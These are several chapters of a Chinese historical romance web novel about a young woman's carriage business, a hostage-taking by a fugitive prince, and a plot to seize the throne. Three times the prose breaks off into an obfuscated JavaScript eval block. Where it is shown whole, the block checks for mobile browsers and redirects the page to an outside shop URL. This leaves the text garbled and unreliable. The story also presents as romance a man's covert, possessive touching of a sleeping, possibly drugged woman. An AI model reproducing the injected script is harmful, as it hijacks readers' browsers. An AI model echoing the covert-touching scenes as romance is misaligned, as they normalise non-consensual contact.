她抱着膝盖，抬起头看他，眼神复杂得很：“算了，你把车行除名，到头来我竟还要谢你。” “不必客气。” “……”乐弗给他噎得一口气没上来，“你没长嘴？这事都一年多了，你怎么不等我被抓进断事司再说？” “我以为你会查到。”宗钦抬眼，那目光落过来。 乐弗被他看得火起，什么意思？搁这儿阴阳谁呢？ 此人果真没有一句骂是白挨的。 她咽下这口气，收好画押。一低头，书案下的小筐里，是昨日买的那堆布鞋。 难得小发善心一回，想着回来给齐宝他们分了，结果几人拿起来一比，不是大了就是宽了，只好摞在她这儿。 乐弗低头打量了一下对面人的靴子，果断把筐踢过去：“看看有没有你能穿的？” 宗钦挑了挑眉，随手从筐里抽出一双，翻来覆去地打量。 不过是寻常的纳底布鞋，针脚紧实却不太规整，绷了双层粗棉，鞋底是几层旧布袼褙叠的，也不算厚软。 “马市上买的吧。” “怎么看出来的？！”乐弗立刻坐直了身子，稀奇地盯着他。 宗钦把鞋摆到跟前，指着鞋帮：“看，这里太宽，只有屯军爱穿这种。” “哪儿就宽了？”乐弗凑过去看，嘀咕着往前探，两人越挨越近，近得宗钦能闻见她身上的气味。 茉莉，檀香和合而成的皂豆，是年前他亲自置办的。 宗钦喉结动了动，不动声色往后撤开身子，把鞋扔回筐里：“我穿正好。” 乐弗还没看清，一头雾水，不过也没追问，随口“哦”了声，重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平日里看她吆五喝六，谁都不怵，可真往这儿一摆，只怕连他一条胳膊都挣不开。 帐子里还飘着清远香的余韵，干净，清醇。 他埋进她的发间，蹭着，嗅着，鼻尖沿着耳廓往下，经过耳垂时，喉结下意识滚动，强忍着舔咬上去的冲动，最后停在颈侧。 那里有一层细密绒毛，随着他的呼吸不停颤动。 他的身体起了些变化。 这并不奇怪，他想，也没去管，把人又往怀里按了按，下巴抵上肩窝，呼吸渐渐粗重。 乐弗可能是被勒得不舒服，睡梦中动了动，含糊咕哝一声。 即使这样宗钦仍没放手，箍着她的力道又紧了几分，犹嫌不足。 凭什么？ 凭什么只有睡着了的这一团软肉才是他的？ 乐弗在里，宗钦在外，肩膀抵着肩膀，后背贴着胸膛，膝盖顶进膝窝。 像两片贴合的蚌壳。 隔着寝衣，薄唇贴上她肩头，呼吸湿热，像从胸腔深处挤出来的，还带着点惶恐的气音。 “可以不爱我。” 每说一字，薄唇便在她肩头轻啄一下，像要将这话烙进皮肉。 “但只能属于我。” 14. 账房 昨儿夜里刮了一场风，把医巫闾山上的寒气冲散了些，天光一亮，广宁才真的有了些许春意。风里带着股子泥土化开的青草气，从高墙外飘进式微阁，漫到卧房。 乐弗抽抽鼻子，没急着睁眼，反倒十分惬意地先滚了两圈。 自打到这，夜里不是睡得浅就是爱做梦，但昨夜不同。 这一觉睡得极好，好得发邪。 极速入睡固然可喜，但这种近乎被清远香强行“摁”进梦乡的感觉……也实在蹊跷。只是她思来想去都想不通，最后只能归结为是宫里的神奇配比，就连蒙汗药都能做成香香的味道。 肩背有些发僵，她起身活动了一下脖颈，伸手去够床尾衣裳时忽然顿住了，鼻尖动了动。 皂角味儿。 淡得像是从帐幔外挤进来的风捎带了一点，再一嗅，就什么都没了。 她也未在意，穿鞋下地，该干嘛干嘛。 梳洗的工夫，藤梨从外头进来，手里捧着一摞纸：“姑娘，那几个屯军家属的状况齐宝叔都查清了，全在这儿。” 乐弗擦干了手，接过来一张一张翻。 既然要跟屯军打交道，那该照应的就照应一二，主要是想着能不能把卖她布鞋的那个妇人的孩子找回来。 只是翻到第三张，她停住了。 [阿苔，年二十三岁。夫姓撒里，本隶达军籍，去岁冬间逃遁。遗有一女，年三岁半。] 达军这个称呼在辽东不稀奇，北边归附来的鞑子、女真，但凡能骑马拉弓的，朝廷都会给个武职安插进卫所，吃粮当兵。 待遇也很优厚：赐汉姓，给田地，赏钞币，听起来像天上掉馅饼的好事，可问题就在于，这馅饼带着钩子。 一旦被朝廷编入卫所，成为军户，这些达军就落入了和汉族军士一样的严苛体制。要么屯田收成被盘剥，要么摊派的军役太重。 于是有人逃回塞外，哪怕苦点，也比在卫所里当牛做马强。 看来撒里也是其中之一，只是苦了阿苔母女。 男人一跑，她就成了“逃军家眷”。按规矩，这种人家发配、充军，怎么处置都行，可她不仅没走，还带着孩子在广宁马市上闯荡。 乐弗对这母女印象深刻，就是那天叉着腰痛骂泰宁鞑子的那一大一小。 这会儿对着这张纸，她又笑了笑，心想泼辣点儿好，若是性子软，就该被人嚼碎活吞了。 乐弗把纸页收好，起身准备出门，今天得去车马行看看昨日新招来的账房。 日头正好。 主仆俩刚迈出仪门，就听见外头有人大声嘟囔，还带着股悲愤： “一月一两，就为学那鸟语？快别造孽了！” 乐弗抬眼看去。 大门外停着一辆马车，车辕上套着两匹矮壮的辽东马，正不耐烦地刨着蹄子。车旁，古宥谦像条霜打的茄子一样堆堆着。 “古公子。”乐弗走近几步，打了个招呼。 他脸上的悲催表情还没来得及收，挤出一个比哭还难看的笑：“乐弗姑娘。” “站这儿做什么？” “等人。”古宥谦往大门那边努努嘴，“同那位一道，去夷人馆学鞑子话。” 话音刚落，宗钦便从门内走出，目光先落在乐弗身上，微微颔首。 乐弗轻轻欠身回礼。 古宥谦连忙收了苦脸，认命地往车辕上爬：“投军的饷银还没见着，银子倒先往外掏了……” “不学也行，到了夜不收营里，你只管做火兵。” “凭啥？！”古宥谦本就是吃屎都要吃尖儿的那种人，一听这话顿时连嘟囔都忘了，梗着脖子瞪眼，“不出哨那还算什么夜不收！我岂能给人烧水做饭！” 说白了，此人心里还是藏着一股少年锐气。嘴上再抱怨，内里也想做个能上阵出哨的汉子，半点窝囊气都不肯受。 “那还不滚上去？”宗钦眼风冷冷一扫。 被他这一喝，古宥谦那股炸毛的劲儿瞬间泄了大半，悻悻转身，手脚麻利地拱进车里。 “走了。” 留下这么一句，宗钦两步跃上马车，辕马扬蹄，车头缓缓调转。 * 乐弗迈进辽安驿运大堂的时候，新来的账房乔敬泽已经候着了。 四十出头，两撇山羊胡，写得一笔好字，心算极快。据他自己说是从开原那边过来的，当时广宁这边正缺个管账的，见了一面觉着还行，就留下了。 她往账房主位一坐，身后站着那几个屯军家眷，阿苔也在里头。 “东家，昨日的流水都在这儿了。”乔敬泽躬身递上一个账本，外加一沓底单。 他眼睛往后头瞟了一眼，从阿苔几个人身上挨个扫过，面色不明。 乐弗只当没看见，翻开账本，上面字迹工整，条目清晰。 上半个月接了四单生意：两场中长途，两趟城内短驳，脚银、伙计饭钱、喂马草料、结余，每笔账目都记得明白。 尤其是去团山堡送布匹那单，底下还注了行小字：“耗损五尺，按行规扣。” 账面十分干净。 她又拿起底单和草料簿翻开比对。 其他的都没什么问题，只不过去团山堡送布的那辆马车，在闾阳驿这个驿站领取了双份的精料，草料簿上还有葛喜生的手印。 领双份饲料倒没什么，开春路本就难走，只是……闾阳驿？ 乐弗略皱眉。 大靖对“路权”有严格的身份划分，官员才能走驿路，百姓走官道，商人走商道。 又因为辽东是军镇，卫所军官对驿路有绝对管辖权。抓到擅走驿路的民商，扣作苦力都是轻的，万一耽误了军情传递，就地砍了也不算什么。 况且从广宁去团山堡，官道直抵，何须绕驿？ 乐弗放下账本，对上乔敬泽的目光：“闾阳驿这单，走的什么路？” 后者面上带笑，十分自然：“东家好眼力，这单走的是驿路。” “可咱家的马车走不了驿路。” “能走。”乔敬泽笑容不变，“不瞒东家，我妹夫是广宁右屯卫的百户，姓郑，去年进京公干领的勘合，回来事儿忙忘了缴，如今那张还在他手里。走驿路快，成本低，利润高，比走官道能省小半日工夫。往后接活儿，报价就能比别人便宜，生意自然就多了。” 他说得头头是道，山羊胡一颤一颤的，话里话外都是给东家分忧。 “是么……”乐弗慢慢笑了，热络得很，眼睛里都带着光：“乔账房路子这么广，往后咱们车行可省不少银子了……该赏。” 她从抽屉里摸出一兜碎银放到桌上。 “给东家效力是自然。”乔敬泽欠身，“赏银可不敢当。” “拿着吧。” 乔敬泽推辞了两句，到底还是揣进袖里。 只是他刚一走，乐弗就把手里的账本往桌上一扔。 “啪。” 声音不大，后头几个女人都吓了一跳。 乐弗没说话，只看着乔敬泽出去的方向，眼神实在称不上和善。 一个新来的账房，非亲非故，凭什么这么死心塌地给车行卖命？ 又是勘合，又是驿路，又是提高利润的……这天大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几个媳妇你一言我一语就这么议论起来了，将附近几个卫所的百户、千户的底细翻了个底朝天。 谁在哪儿当差，谁什么时候来的，谁跟谁有仇，谁跟谁沾亲带故……说得清清楚楚，跟报菜名似的。 听得乐弗目瞪口呆，半天憋出一句：“你们连这个都清楚？” 几个媳妇愣了一下，随即都笑了。 “东家，”严嫂子笑着说，“咱们男人都是屯军，可屯军也不是老蹲在一个地方的。上头摊派，今儿个去这儿戍守，明儿个去那儿当差，咱们就得跟着。走的地方多了，那些百户千户的底细，可不就都知道了？” “就是，”另一个接话，“别说百户了，闾阳驿那几个总旗谁跟谁不对付，谁家婆娘爱串门子，咱们都知道！” 几个人又笑起来，笑得没心没肺的。 乐弗也跟着笑了，往椅背上一靠，心想这些嫂子可真是藏龙卧虎。 “喜生！”她朝外高喊了声。 没多久窜进来个人影：“小东家？” “我问你，乔敬泽给你勘合的时候，说什么了？” 葛喜生想了想：“就说是给车行找的门路，让咱们别往外瞎传。” “下次他若还给你勘合，你就收着。可要是再让我发现你擅作主张，连个屁都不放就往驿路上跑——” 乐弗顿了顿，端起茶碗抿了一口。 葛喜生的心瞬间悬到嗓子眼儿。 “你就去抚顺吧。”乐弗放下茶碗，冲他笑了笑，“那儿的夷货行缺个扛大包的，冬天也长，正好让你醒醒脑子。” “不敢不敢，没下次了！” “回吧。” “得嘞！”葛喜生又窜出去了。 帘子还在晃，一旁的阿苔忍不住开口：“既然那乔敬泽有猫腻，为何还让喜生收他的勘合？” “不收，怎么知道他想干什么，总得看看路数……” 15. 卫峥 出了内堂，乐弗正跟齐宝交代事，就听外头吵闹喧哗，紧接着“咣咣”一阵锣响，开道的官兵吆喝着“闲人避让！”，眨眼功夫，十字大街就被封锁得严严实实。 “怎么了怎么了！”阿苔几个小媳妇掀开帘子就往外探头。 说话间，四五个军卒已经跑到近前了，为首的小旗朝齐宝一拱手，脸上挂着公事公办的笑：“店家，奉旨搜捕，见谅啊。” 也不等齐宝回话，这位手一挥，几个军卒鱼贯而入。 “仔细搜！桌底、柜中、后院，一处都不许漏！” 为避嫌，乐弗转身回了内堂，留齐宝独自应付这些人。 几个军卒把车马行翻了个底朝天，桌底柜子自不必说，连后院拴骡马的地方都仔仔细细查了一遍。这般折腾还不算完，其中一个又掏出小册子，把车马行有多少车、多少马、多少车把式，记得一清二楚。 为首的那小旗按着刀，对着齐宝吩咐：“你们这车马行，南来北往的人多，这段日子不许接客，不许发车。上头有令，但凡见到南边来的生面孔、年轻后生，立马报官，不得隐瞒！” “那是自然！那是自然！”齐宝点头哈腰的，做出一副惶恐神情，态度卑微：“敢问小旗官，这戒严到什么时候？小人这车马行可刚开张不久……” “慌什么。”小旗瞥他一眼。 齐宝机灵，立马会意，悄悄塞了锭银子过去，外加说尽好话，终于给这几位送走了。 内堂里几个大小媳妇讨论起来： “这阵仗，要么是逃犯要么是奸细……” “什么奸细啊，借着由头来商户跟前儿打秋风的！” 看这架势，城门一时半会儿也开不了，乐弗干脆让大伙先各自归家，趁着白天路好走，她自己也带着藤梨坐上回程马车。 车厢轻晃，乐弗靠着厢壁，脑子里慢慢琢磨着乔敬泽此人。 说不失落是假的，怎么就锁城了呢，那乔敬泽得什么时候再给勘合？ 她这人最烦的就是事儿刚起了个头，就叫人给堵在半道上。 在辽阳时事事顺遂，一路风生水起，仿佛那个地方天生旺她，早就忘了被人为难是什么滋味了。 久违的兴致，火星子似的一点点在心头窜起。是的，乐弗非但不恼，反倒起了玩心，跃跃欲试。 马车忽然一停。 藤梨没有防备，手里的酥皮糕饼差点儿怼脸上，她急忙撩开帘子：“咋啦！” 赶车的是总兵府的老刘头，闻言回头：“钟楼走不了，戒严！得绕路！” “您看着走！” 马车缓缓转向，自钟楼西侧的窄巷折转，刚拐进民居夹道，又猛地一刹。 “你个老刘头！诚心的吧！”藤梨手中那块糕饼还是碎了，她恨恨往嘴里一塞，拍拍手撩帘出去了。 “哎哟——！”一声惨叫平地起，破衣烂衫的小叫花子躺在马蹄底下，正抱着腿哭嚎。 老刘吓傻了：“我、我可没碰着他啊！” “我不管……”那小孩儿哭得稀里哗啦，也不知道伤着哪了。 “你少讹人！”老刘气得骂了两声，撂下鞭子就要下去赶他。 小叫花子身形灵巧得很，绕着马蹄子左躲右闪，溜老刘跟溜孙子似的。 趁着这功夫，车底悄没声儿地滑过一道人影。 一个大叫花子狸猫似的就地一滚，钻进车厢底下，双手抠住车底木梁，整个人贴上去，一点声音都没露。 见计划成了，那小叫花子假装绊了一跤，被老刘抓住给了两下狠的，爬起来就跑。 “……”从头看到尾的藤梨十分纳闷，怎么还有上赶着讨揍的？ 马车重新启动，驶入总兵府后墙的护衙街，绕开了正面戒严的军卒，最终从侧门小巷绕回府中。 进到车马院，老刘跳下来卸马，压根没留意车底下还扒着一个。 卫峥此刻憋得灰头土脸，腰也快断了，仍一动不动，不敢松手。 * 夜里，式微阁刚点上灯。 因着孝期，乐弗头上也没什么首饰，木簪子一抽，如云墨发就披下来了。她换上中单软衣，正要去沐浴，就听抱厦那边传来“噗通”一声。 动静略大，像一条狗从高处跳下来。 “藤梨？” 喊了两声没人应，她索性举着烛台摸过去，想看看是不是窗户被风吹开了。 前脚踏进抱厦，后脚就被人擒住了，一把匕首虚虚架到她脖颈旁： “别喊。” 乐弗闭了闭眼，好悬被身后这股味儿熏吐了，缓了缓，她略微忌惮地将那人持刀的手臂推了推，脖颈后仰，“别伤我，想要银子尽管拿。” 良久沉默后，那人开口：“我要见宗传辉。” “……我可以带你去。”大哥，可你这不是自投罗网吗？ 乐弗摸不清他来意，也不敢贸然拒绝，其实宗传辉此刻并不在府上，白日广宁戒严，衙门里正忙着。她想的是只要出了这里，就总能找到求救机会，于是假装应下。 可来人似乎看穿了她的心思，匕首往前贴近一寸，冰凉的刃尖直抵她下巴：“你带路，走檐上，直接去他院子，少跟我耍花样。” 通过卫峥这两天的摸排观察，发现宗传辉养在府里的这个小姘头，实在不简单。 这女人在这儿进出自如，连护卫对她都带着敬畏。不像宠妾，倒像主子。 好你个广宁侯！ “现在就去！”卫峥没废话，拎乐弗跟拎鸡崽似的，出了抱厦一跃而起，二人稳稳当当落到房顶。 圆月高悬，脚下的式微阁被照得明明暗暗，总兵府的重檐叠院也尽收眼底，再远处，就是城内的街巷灯火。 还挺好看，乐弗寻思。 卫峥有些无语，这位脖子上抵着把刀还有工夫赏景呢。 “带路！” 乐弗一个激灵，只好往前挪。 “走快点儿！”卫峥咬牙切齿。 快你爹！乐弗暗骂。 这么高怎么走快？！瓦片倾斜，有的还带着未化尽的雪，几步下去，软底鞋全湿了。 他有这样的身手，找间院子不是轻轻松松？何必多此一举带上她这个累赘？除非是把她当作要挟宗传辉的筹码，这才非带上不可。 想通这一层，乐弗彻底摆烂了，停下脚步，脖子一扬：“捅死我吧。” “……”卫峥额角青筋直跳，只好一把扛起她，在庭院间穿梭。 路过东边一处院子时，乐弗瞅准时机，把湿透的软底鞋踢下去，又使劲晃了晃身子。 卫峥脚下一个不稳，瓦片碰撞发出细微声响。 “老实点！”他低喝一声，又怕引来亲兵，加快步伐，最后停在了主院。 看着里面一团漆黑，不像有人的样子，卫峥怒意翻涌，“他人呢？” “衙门呢。” “敢耍我！” 多日的奔波躲藏，让卫峥像一根拉到极致的弓弦。哪怕一片羽毛擦过，也能让他崩断。他不再克制手劲，锋利匕首狠狠抵住乐弗下巴，让她不用低头就知道肯定划破了。 有点儿疼。 “我没有。”乐弗声音稳得很，“进屋等着，宗传辉戌时就回。” 卫峥没动，毫不掩饰一身冷厉杀意，像在判断这句是真是假。 乐弗这才看清此人模样。 蓬头垢面，头发都擀毡了，估摸三十四五，眉眼沉敛，只是……不大像亡命之徒。 看着看着，心底莫名咯噔一下。 她说不上来在哪儿见过，可这双眼就是莫名地熟悉。 最后卫峥还是信了乐弗的话，将人提溜进中堂，二人在黑暗中无言对坐。 “你找宗传辉干什么？” 卫峥没理她。 乐弗小心地碰了碰下巴上的口子，疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341562|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得轻嘶一声，也不怕冷场，自顾自叨叨：“白天那些军卒，是来抓你的吧？那小叫花子跟你一伙的？” 卫峥终于舍得分她个眼神，“你少过问。” 中堂里漆黑一片，地龙也没烧，冻得乐弗直打哆嗦。她抱膝蜷着，不得不用手去暖脚。 “鞋呢？”卫峥顿觉不妙，站起身来一把扼住她的脖颈上提，“你找死！” 乐弗下意识挣扎，抬手拍打，可在卫峥面前，这点力道跟螳臂当车没两样。 耳朵里逐渐嗡嗡作响，只剩下脖颈处的剧痛和窒息的恐慌。 此时一声门响。 她不知道发生了什么，也顾不上了，只知道对面的贼人终于松了手。 骤然得了自由，乐弗瘫在椅子里，不停咳嗽换气，缓了好半响才回过神。 宗钦再晚来一步，她恐怕真要死这儿了。 桌椅翻倒之声不断响起，两人近身缠斗，一个认定对方是亡命歹徒，一个只当对面是宗传辉的死士亲兵，都往对方心口、肋下这些要命的地方招呼。 拳脚撞在一处时，那声响乐弗有些说不上来。 像硬木砸在土地上，不是皮肉相击的轻响，而是骨节抵着骨节那种闷沉，听得她牙根发酸，仿佛下一刻谁的骨头就要碎了。 作为战场，中堂确实有些小了，二人打到了庭院。 连日奔波，卫峥本就气力不继，跟宗钦缠斗时破绽越来越多，他心知没有胜算，想抽身，可宗钦鬼魅似的跟上去，竟将他退路封死，半点空隙都不留。 这时乐弗踉跄着跟出门去，扶着廊柱不住咳喘，目光一扫，瞥见落在阶前的那柄匕首。 “接着！” 她弯腰一把抓起，朝扭打在一处的两人掷了过去。 宗钦没有回头，反手一抄，匕首稳稳握在手里，浑身煞气几乎要凝成实体，他不再藏力。 而卫峥连反应的空隙都没了，胸口重重挨了一记，整个人被掼到地上，被宗钦单膝压住，半分也动弹不得。 身上的人俯视着他，月光只照到他半边肩背，大半张脸浸在阴影里，唯有一双眼深如寒潭，透着股视人如草芥的漠然。 匕首猛地落下，卫峥闭上了眼。 “住手——！” 正院门口响起一声暴喝。 刃尖堪堪擦过卫峥的脖颈，猛地钉入砖石之中！ 宗传辉一身常服，大步冲了过来，脸色铁青，死死盯着被压制住的卫峥，整个人都在发抖。 * 一炷香的功夫，中堂整洁如新，灯火通明。 卫峥与宗传辉并肩坐在上首吃茶，如果忽略前者脸上那几道深浅不一的伤痕的话，那这画面倒也算得上悠闲。 “所以里头那个，不是你姘头？” 一口浓茶差点喷出去，宗传辉急忙辩解：“殿下慎言！” “不是就不是吧，急什么。”卫峥歪歪脖子，被揍的地方还钻心地疼。 也不知他家小子吃什么长起来的，力道如山岳倾轧，真是不可多得。 卫峥又抿了口茶：“不是你姘头，那是你儿媳妇？” “这孩子殿下也认得。” “哦？”卫峥坐直身子，来了兴趣。 宗传辉放下茶杯，怜悯地看他一眼：“乐廷章的闺女，乐弗，殿下的表外甥女。” “……” 卫峥顿时像被雷劈了一般，僵在当场。 天爷啊，今天这事要是叫那两口子知道了，非把他活劈了不可。 目瞪口呆好半响，卫峥仰头灌尽手边茶水壮胆，几步冲到里间： “孩子，我是你舅！” 乐弗正乖乖仰着头让宗钦上药，脖颈上紫红淤青一大片，十分可怖。听见动静，二人偏头，目光一同扫过来。 卫峥心虚地别开脸，不敢跟她对视。 “我是你奶……”乐弗哑着声儿，艰难地一字一句回骂。 16. 夺位 卫峥本就理亏，闻言也只是嘟囔一句“瞎胡吣”，视线随即落到宗钦身上。 此人肩背极宽，筋骨虬结，透着常年习武的悍劲，尤其那双手—— 骨节嶙峋，掌根宽厚，指腹一层硬茧，方才还差点儿要了他的命，此刻却反常地轻柔，正沾着一坨膏子，往小外甥女颈侧抹。 看着看着，卫峥就咂么出不对了。 谁家膏子是这么个涂法？ 这小子神色倒是正经，垂眸敛目，可那指腹却借着药膏的滑腻，慢条斯理地摩挲着掌下的皮肉，来回反复，极尽狎昵。 小外甥女浑然不觉，呆头鹅似的扬着下巴，把脖子交给他，只当寻常上药。 这像话吗！ 卫峥略皱眉，突然记起这丫头是有婚约在身的。 “对了，你那未婚夫呢？” “京，城，殿……” “行了行了快别出声了。”他这才想起人家嗓子坏了，赶紧打断。 膏子终于擦完，宗钦只当没看见头顶那道怒视，取过布巾，不紧不慢地擦去指缝间的残留。 “殿下？”中堂传来宗传辉的声音。 卫峥只好不情不愿地出去，帘子一晃，里间只剩两人。 乐弗还是难受的，除了声音嘶哑，每次呼吸喉管也跟发紧，稍一偏头，整条脖颈抻着疼。 哪哪都不痛快。 她有些埋怨地瞪了宗钦一眼，心想你怎么不等我被掐死了再来？慢脚驴！ “我的错。” 乐弗也不在意他是怎么看懂的，随手比划两下，示意他去喊藤梨。 “她被卫峥打晕了。”宗钦面不改色地胡编，又拿过来一块干净布巾，自然地扣住她的脚踝，慢慢擦去上头的浮尘。 乐弗当即不耐，脚踝一用力，略带嫌弃地蹬开他手背，又指指他的靴子：“脱。” 宗钦被她这幅不用人朝后的模样逗笑了，嘴角挑起。 最后乐弗套着一双大得离谱的靴子，晃晃荡荡来到中堂，对着上首敷衍地一福，扭头就走。 一步一拖沓，肥鹅似的，身后还跟着个赶鹅人。 卫峥正要叫住宗钦，却被宗传辉急忙拉了回来。 “广宁侯，你可真是养了个好儿子啊。” 他话里有话，宗传辉只当听不懂，打个哈哈：“殿下过誉了。” “行了，我也不与你兜圈子。”卫峥往椅背上一靠，“就问你一句，帮，还是不帮？” 宗传辉心里转了个弯儿。 先帝对他有知遇之恩不假，可他镇守辽东十几年，功劳也足以相抵了。如今这位爷一穷二白，身边就一个小内侍，张口就要夺位，是不是太…… “侯爷，别装糊涂啊。”卫峥无赖似的，“万一哪天我走投无路，嘴一松，在外头随口说几句，我弟弟那人你也知道，最是多疑……你到时能跑得了？” 宗传辉当即发出一声不屑嗤笑，脸上那点敷衍的客套彻底没了，神情坦荡锐利：“我要是怕他那点猜忌，方才何必拦下那一刀？倒不如让你死在我儿手里，一了百了。” “那不就结了！”卫峥一拍大腿坐直身子，“你不怕，我也不怕，咱们拧成一股绳，干脆一起弄他！” “弄是能弄……”宗传辉嘴上敷衍，心里仍在拨动算盘。 他不是那种被人三两句一撩就热血上头的愣头青。要反，要扶新君，他可以打头阵，但不能让宗家独自扛下所有风险。 “不过就咱俩，剃头挑子一头热，也成不了事啊，何况你连个起兵的名头都没有。” 卫峥张了张嘴。 他想说怎么没有名头？卫嵘生父不详，压根就不姓卫，只要把这话抖落出去，天下哗然，也许都不用他动手。 可话到嘴边，他却总能想起那个比他矮半截的小子，亦步亦趋跟在他身后，一口一个“大哥”地喊。 再狠的心肠，到这儿也软了半截。 他可以用任何理由起兵，唯独不能是这个。 “你放心。”卫峥将心口的苦涩压下，“京里的徐仰光是自己人。” “秀才造反，十年不成。”宗传辉摇摇头，“文官篡位，更是自古未有，天下从来是兵强马壮者为之，就凭那群皇帝家奴？嗤……” 卫嵘登基后杀得人头滚滚，那帮文官有人敢放一个响屁吗？ “我且不说徐仰光本人如何，你原先的人早已死伤殆尽，他就算有心帮你，也是孤掌难鸣。何况如今卫嵘任人唯亲，朝中官员即便不亲近他，也未必肯听徐仰光的撺掇。” 宗传辉年轻时，可没少受这帮文官的气。当年他在京营掌着重兵，便被那群人变着法子弹劾攻讦，后来竟有缺德的造谣，满城都传—— 说什么广宁侯府的狗，头上生了龙角。 他心知再留在京城，早晚被这群人整死，干脆自请外放来了辽东。所以现在卫峥一提文官，他打心眼儿里抵触。 让那帮人造反？指望他们，还不如指望大门口那对儿石狮子！ “卫嵘为什么杀那么多人？还不是怕那帮文官说他得位不正么……杀鸡儆猴罢了。”卫峥没个正形地斜倚着，抓起碟中糕饼只管往嘴里塞，狼吞虎咽，半点看不出这人曾是那个风姿端雅的太子殿下。 “姓徐的是左都御史，台谏之首，将来只要他带头开口，剩下的言官就敢跟着出声，说他卫嵘戕害忠良，来路不正。那地方藩王，前朝旧将，便可群起而讨，人人得而诛之。” 他的腮帮子一鼓一鼓的，话说得含糊却字字锋利：“所以徐仰光造不造反不重要，有没有他才重要。有他，咱们是王师；没他，咱们就是反贼。” “王师？”宗传辉乐了，把茶碗往桌上一搁，“殿下，丑话说在前头，我手底下的兵可干不了造反的勾当。” “为啥？”卫峥愣愣吐出这俩字，嘴里的糕饼渣子险些喷到对面人脸上。 宗传辉侧身躲过，顺手把茶壶推过去：“我辽东将士的刀枪向来指着鞑子，从不朝自己人挥。真要我们起兵打到京城，那叫同室操戈，弟兄们过不去心里那道坎。” 一听这个卫峥立马急了，抄起茶壶灌下一大口，才把嘴里的糕饼渣滓顺下去：“什么同室操戈！这叫拨乱反正！” “是呀。”宗传辉换了副老狐狸神色，“兀良哈那帮人最欠拨了，那才是天生的反贼。” “兀良哈？”卫峥愣在那儿，眼珠子慢慢转悠上了。 宗传辉起身走到中堂墙上挂的舆图前，往上一指：“兀良哈这些年在喜峰口外头放马，靠什么活着，还不是互市？互市一关，他们拿什么换铁锅，布帛？” 他转过身，笑得跟个没事人似的：“到时熬不住了，就要南下劫掠，喜峰口外就是蓟镇。” 卫峥眼睛亮了：“蓟镇一告急，朝廷就得派兵北上！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“正是。”宗传辉点点头，“他现在被卫嵘明升暗降了，明面上是都督佥事，实际上手里就管着个朝阳门。前阵子上书劝谏，还被卫嵘当众羞辱了一顿。” 外头一声更漏传来，已是亥时初刻了。 烛火晃了晃，卫峥的侧脸在光影里忽明忽暗。他沉默片刻，再开口时声音里带着按捺不住的兴奋：“那咱们什么时候动手？” “早得很，最快也得三年成事。”宗传辉起身推开门，侧身让了让，“殿下先回去歇着，明儿个咱们再细说。” 卫峥兴冲冲地迈出门槛，走了两步，忽然停住脚。 宗传辉正要关门，见他回头，手顿在半空：“殿下？” 卫峥没说话。 “殿下有话不妨直说。” “你儿子——”卫峥顿了顿，抬手往自己脖子上比划了两下，“倒是挺会照顾人的。” 宗传辉看着他这副护犊子的模样，终于没忍住，嘴角往上翘了翘。 “笑什么？那丫头可是定过亲的！” “知道。”宗传辉点点头，表情看不出什么波澜，“退了不就得了。” 卫峥被他噎得张了张嘴。 “寡廉鲜耻！”憋了半天，就憋出这四个字。 对卫峥这个读书人来说，这已是逼到墙角时能掏出来的最狠的家伙了。骂完了，自觉还算体面，袖子狠狠一甩，大步流星走了。